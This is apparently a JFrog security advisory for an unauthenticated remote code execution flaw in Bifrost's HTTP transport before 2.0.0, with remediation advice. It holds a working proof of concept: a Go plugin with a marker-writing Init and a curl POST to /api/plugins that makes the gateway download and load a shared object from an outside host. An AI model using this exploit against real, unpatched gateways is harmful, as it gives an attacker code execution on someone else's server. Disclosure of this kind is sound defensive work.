< Back

JFSA-2026-001684572 - Bifrost is vulnerable to Unauthenticated Remote Code Execution via a Custom Plugin HTTP Path on Dynamically Linked Builds

CVE-2026-86242 | CVSS 8.1

JFrog Severity:high

Discovered ByOr Pelesof the JFrog Security Research Team

Published 6 Sep, 2026 | Last updated 6 Sep, 2026

Bifrost is vulnerable to Unauthenticated Remote Code Execution via a Custom Plugin HTTP Path on Dynamically Linked Builds

Bifrost (github.com/maximhq/bifrost/transports)

< 2.0.0

Bifrost HTTP transport before 2.0.0 accepts an enabled custom plugin whose path is an HTTP URL through unauthenticated POST /api/plugins when management authentication is disabled (the default, governance.auth_config.is_enabled=false). The shared-object loader treats an http-prefixed path as a download URL, writes the body to a temporary .so, and passes it to Go's plugin.Open. After a successful open, optional Init runs immediately with the supplied config as the Bifrost process user.

On documented dynamically linked builds (DYNAMIC=1), which the vendor requires for custom Go plugins, plugin.Open is expected to succeed. That is unauthenticated remote code execution in the gateway process. On the published statically linked Docker image, plugin.Open fails with Dynamic loading not supported, so that build class is only server-side request forgery. A loadable plugin must also match the host Go version, operating system, architecture, and linkage. The stock bifrost-http binary binds localhost:8080; the official Docker image binds 0.0.0.0 but is statically linked. The 1.6.x HTTP transport line through 1.6.11 does not contain the fix.


Step 1 - Build a dynamically linked Bifrost


From a Bifrost transports checkout before 2.0.0, build with plugin support and run it with management authentication left disabled (the default). The management API must be reachable on the host and port you use below (the binary default is localhost:8080):

make build DYNAMIC=1

Step 2 - Build a canary plugin


Build a Go shared object with the same Go version and libc as that binary. A minimal Init that writes a marker is enough:

package main

import "os"

func Init(config any) error {
    return os.WriteFile("/tmp/bifrost-plugin-rce", []byte("PROVEN\n"), 0644)
}

func GetName() string { return "evilplugin" }

func Cleanup() error { return nil }
go build -buildmode=plugin -o /tmp/evilplugin.so main.go

Step 3 - Host the shared object and register it


Serve /tmp/evilplugin.so over HTTP on an address the Bifrost host can reach, then create an enabled plugin with that URL as path. No authentication header is required:

curl -sS -X POST "http://127.0.0.1:8080/api/plugins" \
  -H "Content-Type: application/json" \
  -d "{\"name\": \"evilplugin\", \"enabled\": true, \"path\": \"http://<host>:<port>/evilplugin.so\"}"

Step 4 - Confirm the code ran


Expected output on a dynamically linked build:

cat /tmp/bifrost-plugin-rce
PROVEN

On a static or official image instead, expect the download to succeed and plugin.Open to fail with Dynamic loading not supported.

Upgrade Bifrost HTTP transport to 2.0.0 or later. The fix (https://github.com/maximhq/bifrost/pull/5763) refuses create and update of a non-builtin plugin path when the request was let through because dashboard authentication is disabled or unconfigured, and hardens the plugin downloader against SSRF. The 1.6.x line through 1.6.11 does not include this change.

If custom Go plugins are not required, run the statically linked binary or official Docker image so plugin.Open cannot succeed. Otherwise enable dashboard authentication and keep the management listener off untrusted networks.

https://www.cve.org/CVERecord?id=CVE-2026-86242 https://github.com/maximhq/bifrost/security/advisories/GHSA-2qp8-4xgm-fw6g https://github.com/maximhq/bifrost/pull/5763 https://github.com/maximhq/bifrost/commit/e0057ff355f831c251eabe9d0e44f3a3748532c6 https://github.com/maximhq/bifrost/releases/tag/transports/v2.0.0 https://github.com/maximhq/bifrost

< Back